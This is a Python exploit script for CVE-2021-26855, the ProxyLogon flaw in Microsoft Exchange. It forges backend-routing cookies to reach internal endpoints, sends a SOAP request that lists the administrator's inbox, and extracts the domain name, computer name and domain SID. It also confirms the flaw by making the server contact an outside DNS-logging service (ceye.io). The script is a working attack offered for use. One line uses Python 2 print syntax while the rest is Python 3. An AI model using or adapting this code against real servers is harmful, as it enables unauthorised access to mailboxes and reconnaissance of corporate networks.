'''
Referral:
- https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
- https://proxylogon.com
[*] CVE-2021-26855 SSRF Exchange Server
'''
import requests
import sys
import random
import string
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(url):
    try:
        server = url + '/owa/auth.owa'
        req = requests.post(server, verify=False)
        if not req.status_code == 400:
            print('[-] Target is not Vuln!')
            exit(0)
        server_name = req.headers["X-FEServer"]
        print('[*] Getting FQDN Name: %s'%(server_name))
        path_maybe_vuln = [
        '/owa/auth/auth.js', 
        '/ecp/default.flt', 
        '/ecp/main.css']
        headers = {
        'User-Agent': 'Hello-World',
        'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name),
        'Connection': 'close',
        'Content-Type': 'text/xml'
        }
        payload = """<?xml version='1.0' encoding='utf-8'?>
            <soap:Envelope
             xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
             xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
             xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
             xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
              <soap:Header>
                  <t:RequestServerVersion Version="Exchange2016" />
              </soap:Header>
              <soap:Body>
                <m:FindItem Traversal='Shallow'>
                  <m:ItemShape>
                    <t:BaseShape>AllProperties</t:BaseShape>
                  </m:ItemShape>
                  <m:ParentFolderIds>
                    <t:DistinguishedFolderId Id='inbox'>
                      <t:Mailbox>
                        <t:EmailAddress>administrator@domail.local</t:EmailAddress>
                      </t:Mailbox>
                    </t:DistinguishedFolderId>
                  </m:ParentFolderIds>
                </m:FindItem>
              </soap:Body>
            </soap:Envelope>
        """
        for x in path_maybe_vuln:
            reqs = requests.post('%s/%s' %(url,x),headers=headers,data=payload, verify=False)
            if 'MessageText' in reqs.text:
                print('(+) Path %s is vuln to CVE-2021-26855!'%x)
                print('(*) Getting Information Server')
                #print(reqs.headers)
                print('[+] Domain Name = %s'%reqs.headers["X-DiagInfo"])
                print('[+] Computer Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1])
                print('[+] Domain SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0])
                break
            elif 'The specified server version is invalid.' in reqs.text:
                print('(+) Path %s is vuln to CVE-2021-26855!'%x)
                print('(+) Response: The specified server version is invalid.')
                print('(*) Getting Information Server')
                #print(reqs.headers)
                print('[+] Domain Name =  %s'%reqs.headers["X-DiagInfo"])
                print('[+] Computer Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1])
                print('[+] Domain SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0])
                #i dont know what is that ;V
                exit(0)
            else:
                print('(-) Path %s is not vuln to CVE-2021-26855!'%x)
    except Exception as e:
        print(e)
        pass

def _verify(url):
    try:
        vul_url =  url+"/ecp/default.flt"
        headers = {
            'Cookie': 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;'
        }
        resp = requests.get(vul_url, headers=headers, timeout=10, verify=False)
        if resp.status_code == 500 and 'NegotiateSecurityContext' in resp.text:
            print('(+) %s is vuln to CVE-2021-26855!' % vul_url)
            return True
    except Exception as e:
        print e

def dnslog(url):
    token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
    letters = string.ascii_lowercase
    randomstr = ''.join(random.choice(letters) for x in range(9))
    baseurl = url + '/owa/auth/auth.js'
    dns_url = randomstr + '.XXXXXX.ceye.io'
    rheaders= {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0'
    }

    cookie= {
    'X-AnonResource':'true',
    'X-AnonResource-Backend': dns_url +'/ecp/default.flt?~3',
    'X-BEResource':'localhost/owa/auth/logon.aspx?~3'
    } 
    try:
    	rget = requests.get(baseurl, headers=rheaders, cookies=cookie ,verify=False ,timeout=3)
    except Exception as e:
    	pass 
 
    api = 'http://api.ceye.io/v1/records?token=%s&type=dns' % token
    try:
        res = requests.get(api, verify=False ,timeout=30).json()
    except Exception as e:
        print(e)
        pass    
    if  randomstr in str(res['data']):
        print('(+) %s is vuln to CVE-2021-26855!' % baseurl)
        return True


if(len(sys.argv) < 2):
    print('[*] CVE-2021-26855 SSRF Exchange Server\n./%s <https://url>\n'%(sys.argv[0]))
    exit(0)

print('[*] Target: %s'% sys.argv[1] )

if _verify(sys.argv[1]):
    exit(0)
elif dnslog(sys.argv[1]):
	exit(0)
exploit(sys.argv[1])
